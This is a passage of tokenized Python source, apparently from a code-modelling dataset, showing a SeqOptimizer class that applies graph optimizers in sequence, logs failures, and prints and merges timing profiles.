"module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Seq", "Optimizer_", "(_", "Optimizer_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "inherit", " ", "from", " ", "Optimize", "r", " ", "first", " ", "to", " ", "get", " ", "Optimize", "r", ".\\u", "\\u", "hash\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "WRITE", "ME", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Tak", "es", " ", "a", " ", "list", " ", "of", " ", "L", "{", "Optimize", "r", "}", " ", "instance", "s", " ", "and", " ", "appli", "es", " ", "them", "\\", "10", ";", " ", " ", " ", " ", "sequential", "ly", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Seq", "Optimizer_", "(_", "Optimizer_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "inherit", " ", "from", " ", "Optimize", "r", " ", "first", " ", "to", " ", "get", " ", "Optimize", "r", ".\\u", "\\u", "hash\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "warn_", "(_", "exc_", ",_", "self_", ",_", "optimizer_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Default", " ", "fail", "ure", "\\u", "callback", " ", "for", " ", "Seq", "Optimize", "r", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "logger_", "._", "error_", "(_", "\"", "Seq", "Optimize", "r", " ", "appl", "y", " ", "%", "s", "\"_", "%_", "str_", "(_", "optimizer_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "logger_", "._", "error_", "(_", "\"", "Trace", "back", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "logger_", "._", "error_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "config_", "._", "on", "\\u", "opt", "\\u", "error_", "==_", "'", "raise", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "config_", "._", "on", "\\u", "opt", "\\u", "error_", "==_", "'", "pdb", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pdb_", "._", "post", "\\u", "mort", "em_", "(_", "sys_", "._", "exc", "\\u", "info_", "(_", ")_", "[_", "2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Seq", "Optimizer_", "(_", "Optimizer_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "inherit", " ", "from", " ", "Optimize", "r", " ", "first", " ", "to", " ", "get", " ", "Optimize", "r", ".\\u", "\\u", "hash\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "*_", "opts_", ",_", "**_", "kw_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "WRITE", "ME", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "opts_", ")_", "==_", "1_", "and_", "isinstance_", "(_", "opts_", "[_", "0_", "]_", ",_", "(_", "list_", ",_", "tuple_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "opts_", "=_", "opts_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "[_", ":_", "]_", "=_", "opts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail", "ure", "\\u", "callback_", "=_", "kw_", "._", "pop_", "(_", "'", "fail", "ure", "\\u", "callback", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Seq", "Optimizer_", "(_", "Optimizer_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "inherit", " ", "from", " ", "Optimize", "r", " ", "first", " ", "to", " ", "get", " ", "Optimize", "r", ".\\u", "\\u", "hash\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "apply_", "(_", "self_", ",_", "fg", "raph_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "WRITE", "ME", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Appl", "ies", " ", "each", " ", "L", "{", "Optimize", "r", "}", " ", "in", " ", "self", " ", "in", " ", "turn", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "fg", "raph_", "._", "profile_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "validat", "e\\u", "before_", "=_", "fg", "raph_", "._", "profile_", "._", "validat", "e\\u", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sub\\u", "validat", "e\\u", "time_", "=_", "[_", "validat", "e\\u", "before_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sub\\u", "validat", "e\\u", "time_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "callback", "\\u", "before_", "=_", "fg", "raph_", "._", "execute", "\\u", "callback", "s", "\\u", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nb", "\\u", "node", "\\u", "before_", "=_", "len_", "(_", "fg", "raph_", "._", "appl", "y", "\\u", "nodes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sub\\u", "prof", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "optimizer_", "in_", "self_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t0_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sub\\u", "prof_", "=_", "optimizer_", "._", "optimize_", "(_", "fg", "raph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "l_", "._", "append_", "(_", "float_", "(_", "time_", "._", "time_", "(_", ")_", "-_", "t0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sub\\u", "prof", "s_", "._", "append_", "(_", "sub\\u", "prof_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "fg", "raph_", "._", "profile_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "sub\\u", "validat", "e\\u", "time_", "._", "append_", "(_", "fg", "raph_", "._", "profile_", "._", "validat", "e\\u", "time_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Assert", "ion", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "do", " ", "not", " ", "catch", " ", "Assert", "ion", " ", "failures_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "fail", "ure", "\\u", "callback_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "fail", "ure", "\\u", "callback_", "(_", "e_", ",_", "self_", ",_", "optimizer_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "fg", "raph_", "._", "profile_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "validat", "e\\u", "time_", "=_", "fg", "raph_", "._", "profile_", "._", "validat", "e\\u", "time_", "-_", "validat", "e\\u", "before_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "validat", "e\\u", "time_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "callback", "\\u", "time_", "=_", "fg", "raph_", "._", "execute", "\\u", "callback", "s", "\\u", "time_", "-_", "callback", "\\u", "before_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "self_", ",_", "l_", ",_", "validat", "e\\u", "time_", ",_", "callback", "\\u", "time_", ",_", "nb", "\\u", "node", "\\u", "before_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "len_", "(_", "fg", "raph_", "._", "appl", "y", "\\u", "nodes_", ")_", ",_", "sub\\u", "prof", "s_", ",_", "sub\\u", "validat", "e\\u", "time_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Seq", "Optimizer_", "(_", "Optimizer_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "inherit", " ", "from", " ", "Optimize", "r", " ", "first", " ", "to", " ", "get", " ", "Optimize", "r", ".\\u", "\\u", "hash\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "str\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"", "Seq", "Opt", "(%", "s", ")\"_", "%_", "list_", "._", "\\u\\u", "str\\u\\u_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Seq", "Optimizer_", "(_", "Optimizer_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "inherit", " ", "from", " ", "Optimize", "r", " ", "first", " ", "to", " ", "get", " ", "Optimize", "r", ".\\u", "\\u", "hash\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "repr\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "list_", "._", "\\u\\u", "repr\\u\\u_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Seq", "Optimizer_", "(_", "Optimizer_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "inherit", " ", "from", " ", "Optimize", "r", " ", "first", " ", "to", " ", "get", " ", "Optimize", "r", ".\\u", "\\u", "hash\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "print", "\\u", "summary_", "(_", "self_", ",_", "stream_", "=_", "sys_", "._", "stdout_", ",_", "level_", "=_", "0_", ",_", "depth_", "=_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "getattr_", "(_", "self_", ",_", "'", "name", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"%", "s", "%", "s", " ", "%", "s", " ", "id", "=", "%", "i", "\"_", "%_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", " ", "'_", "*_", "level_", ")_", ",_", "self_", "._", "\\u\\u", "class\\u\\u_", "._", "\\u\\u", "name\\u\\u_", ",_", "name_", ",_", "id_", "(_", "self_", ")_", ")_", ",_", "file_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "way", ",", " ", "-1", " ", "will", " ", "do", " ", "all", " ", "depth_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "depth_", "!=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "depth_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "opt_", "in_", "self_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "opt_", "._", "print", "\\u", "summary_", "(_", "stream_", ",_", "level_", "=_", "(_", "level_", "+_", "2_", ")_", ",_", "depth_", "=_", "depth_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Seq", "Optimizer_", "(_", "Optimizer_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "inherit", " ", "from", " ", "Optimize", "r", " ", "first", " ", "to", " ", "get", " ", "Optimize", "r", ".\\u", "\\u", "hash\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "print", "\\u", "profile_", "(_", "stream_", ",_", "prof_", ",_", "level_", "=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "(_", "opts_", ",_", "prof_", ",_", "validat", "e\\u", "time_", ",_", "callback", "\\u", "time_", ",_", "nb", "\\u", "node", "\\u", "before_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "nb", "\\u", "node", "\\u", "after_", ",_", "sub\\u", "prof", "s_", ",_", "sub\\u", "validat", "e\\u", "time_", ")_", "=_", "prof_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bla", "nc_", "=_", "(_", "'", " ", " ", " ", " ", "'_", "*_", "level_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "bla", "nc_", ",_", "\"", "Seq", "Optimize", "r", "\"_", ",_", "end_", "=_", "'", " ", "'_", ",_", "file_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "opts_", ",_", "\"", "name", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "bla", "nc_", ",_", "opts_", "._", "name_", ",_", "end_", "=_", "'", " ", "'_", ",_", "file_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "hasattr_", "(_", "opts_", ",_", "\"\\u\\u", "name", "\\u\\u\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "bla", "nc_", ",_", "opts_", "._", "\\u\\u", "name\\u\\u_", ",_", "end_", "=_", "'", " ", "'_", ",_", "file_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "(_", "(_", "\"", " ", "time", " ", "%", ".3", "fs", " ", "for", " ", "%", "d", "/", "%", "d", " ", "nodes", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", " ", "bef", "ore", "/", "after", " ", "optimization", "\"_", "%_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "sum_", "(_", "prof_", ")_", ",_", "nb", "\\u", "node", "\\u", "before_", ",_", "nb", "\\u", "node", "\\u", "after_", ")_", ")_", ",_", "file_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "bla", "nc_", ",_", "\"", " ", " ", "%", ".3", "fs", " ", "for", " ", "callback", "\"_", "%_", "(_", "callback", "\\u", "time_", ")_", ",_", "file_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "bla", "nc_", ",_", "\"", " ", " ", "%", ".3", "fs", " ", "for", " ", "fg", "raph", ".", "validat", "e", "()\"_", "%_", "(_", "validat", "e\\u", "time_", ")_", ",_", "file_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "level_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "bla", "nc_", ",_", "\"", " ", " ", "time", " ", " ", "-", " ", "(", "name", ",", " ", "class", ",", " ", "index", ")", " ", "-", " ", "validat", "e", " ", "time", "\"_", ",_", "file_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ll_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "opt_", "in_", "opts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "hasattr_", "(_", "opt_", ",_", "\"\\u\\u", "name", "\\u\\u\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ll_", "._", "append_", "(_", "(_", "opt_", "._", "\\u\\u", "name\\u\\u_", ",_", "opt_", "._", "\\u\\u", "class\\u\\u_", "._", "\\u\\u", "name\\u\\u_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "opts_", "._", "index_", "(_", "opt_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ll_", "._", "append_", "(_", "(_", "opt_", "._", "name_", ",_", "opt_", "._", "\\u\\u", "class\\u\\u_", "._", "\\u\\u", "name\\u\\u_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "opts_", "._", "index_", "(_", "opt_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ll", "l_", "=_", "sorted_", "(_", "zip_", "(_", "prof_", ",_", "ll_", ")_", ",_", "key_", "=_", "lambda_", "a_", ":_", "a_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "(_", "t_", ",_", "opt_", ")_", "in_", "ll", "l_", "[_", ":_", ":_", "-_", "1_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "t", " ", "<", " ", "1", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "continue_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "sub\\u", "validat", "e\\u", "time_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i_", "=_", "opt_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "val", "\\u", "time_", "=_", "sub\\u", "validat", "e\\u", "time_", "[_", "i_", "+_", "1_", "]_", "-_", "sub\\u", "validat", "e\\u", "time_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "bla", "nc_", ",_", "'", " ", " ", "%", ".6", "fs", " ", "-", " ", "%", "s", " ", "-", " ", "%", ".3", "fs", "'_", "%_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "t_", ",_", "opt_", ",_", "val", "\\u", "time_", ")_", ",_", "file_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "bla", "nc_", ",_", "'", " ", " ", "%", ".6", "fs", " ", "-", " ", "%", "s", "'_", "%_", "(_", "t_", ",_", "opt_", ")_", ",_", "file_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sub\\u", "prof", "s_", "[_", "opt_", "[_", "-_", "1_", "]_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "opts_", "[_", "opt_", "[_", "-_", "1_", "]_", "]_", "._", "print", "\\u", "profile_", "(_", "stream_", ",_", "sub\\u", "prof", "s_", "[_", "opt_", "[_", "-_", "1_", "]_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "level_", "=_", "level_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "(_", "file_", "=_", "stream_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Seq", "Optimizer_", "(_", "Optimizer_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "inherit", " ", "from", " ", "Optimize", "r", " ", "first", " ", "to", " ", "get", " ", "Optimize", "r", ".\\u", "\\u", "hash\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "merge", "\\u", "profile_", "(_", "prof", "1_", ",_", "prof", "2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Merge", " ", "2", " ", "profile", "s", " ", "return", "ed", " ", "by", " ", "this", " ", "cass", " ", "appl", "y", "()", " ", "fct", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "t_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "l_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "sub\\u", "profile_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "merge", " ", "common", "(", "same", " ", "object", ")", " ", "opt_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "l_", "in_", "set_", "(_", "prof", "1_", "[_", "0_", "]_", ")_", "._", "intersection_", "(_", "set_", "(_", "prof", "2_", "[_", "0_", "]_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "idx1_", "=_", "prof", "1_", "[_", "0_", "]_", "._", "index_", "(_", "l_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "idx2_", "=_", "prof", "2_", "[_", "0_", "]_", "._", "index_", "(_", "l_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "t_", "._", "append_", "(_", "prof", "1_", "[_", "1_", "]_", "[_", "idx1_", "]_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "prof", "2_", "[_", "1_", "]_", "[_", "idx2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "l_", "._", "append_", "(_", "l_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "l_", ",_", "'", "merge", "\\u", "profile", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "len_", "(_", "prof", "1_", "[_", "6_", "]_", "[_", "idx1_", "]_", ")_", "==_", "len_", "(_", "prof", "2_", "[_", "6_", "]_", "[_", "idx2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "sub\\u", "profile_", "._", "append_", "(_", "l_", "._", "merge", "\\u", "profile_", "(_", "prof", "1_", "[_", "6_", "]_", "[_", "idx1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "prof", "2_", "[_", "6_", "]_", "[_", "idx2_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "sub\\u", "profile_", "._", "append_", "(_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "merge", " ", "not", " ", "common", " ", "opt_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "from_", "six_", "import_", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "l_", "in_", "set_", "(_", "prof", "1_", "[_", "0_", "]_", ")_", "._", "symmetric", "\\u", "difference_", "(_", "set_", "(_", "prof", "2_", "[_", "0_", "]_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "set", " ", "trick", " ", "above", " ", "only", " ", "work", " ", "for", " ", "the", " ", "same", " ", "object", " ", "optimization", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "It", " ", "don", "'", "t", " ", "work", " ", "for", " ", "equivalent", " ", "optimization", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "So", " ", "we", " ", "try", " ", "to", " ", "merge", " ", "equivalent", " ", "optimization", " 